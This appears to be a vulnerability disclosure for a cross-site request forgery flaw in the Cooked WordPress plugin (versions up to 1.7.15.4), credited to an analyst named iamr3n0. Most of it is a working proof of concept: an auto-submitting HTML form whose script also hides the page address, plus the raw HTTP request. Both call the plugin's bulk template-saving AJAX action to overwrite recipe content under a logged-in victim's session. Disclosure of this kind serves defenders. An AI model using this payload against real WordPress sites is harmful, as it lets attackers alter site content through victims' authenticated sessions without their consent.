The Cooked plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to, and including, 1.7.15.4 due to missing or incorrect nonce validation on the AJAX action handler. This vulnerability could allow an attacker to trick users into performing an action they didn't intend to perform under their current authentication.
<html>
<!-- CSRF PoC - Apply Template to All Recipes -->
<body>
<form action="https://target.tld/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="cooked_save_default_bulk" />
<input type="hidden" name="recipe_ids" value="[128,256]" />
<input type="hidden" name="default_content" value="<p>[cooked-info left="author,taxonomies,difficulty" right="print,fullscreen"]</p> <p>[cooked-excerpt]</p> <p>[cooked-image]</p> <p>[cooked-info left="servings" right="prep_time,cook_time,total_time"]</p> <p>[cooked-ingredients]</p> <p>[cooked-directions]</p> <p>[cooked-gallery]</p>" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.tld
Cookie: [cookies]
Content-Length: 788
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0
action=cooked_save_default_bulk&recipe_ids=%5b128%2c256%5d&default_content=<p>[cooked-info%20left="author,taxonomies,difficulty"%20right="print,fullscreen"]</p>%0A<p>[cooked-excerpt]</p>%0A<p>[cooked-image]</p>%0A<p>[cooked-info+left%3d"servings"+right%3d"prep_time,cook_time,total_time"]</p>%0A<p>[cooked-ingredients]</p>%0A<p>[cooked-directions]</p>%0A<p>[cooked-gallery]</p>
iamr3n0 Analyst
Description:
The Cooked plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to, and including, 1.7.15.4 due to missing or incorrect nonce validation on the AJAX action handler. This vulnerability could allow an attacker to trick users into performing an action they didn't intend to perform under their current authentication.
Steps to reproduce:
PoC request: